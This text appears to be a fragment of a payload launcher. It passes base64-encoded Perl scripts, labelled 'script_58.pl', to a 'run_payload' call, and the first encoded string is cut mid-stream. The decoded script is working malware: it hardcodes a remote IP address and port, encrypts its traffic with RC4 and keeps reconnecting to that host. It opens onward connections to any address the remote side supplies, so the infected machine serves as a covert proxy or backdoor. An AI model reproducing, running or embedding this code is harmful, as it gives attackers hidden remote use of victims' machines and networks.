EpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_58.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjAwJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVie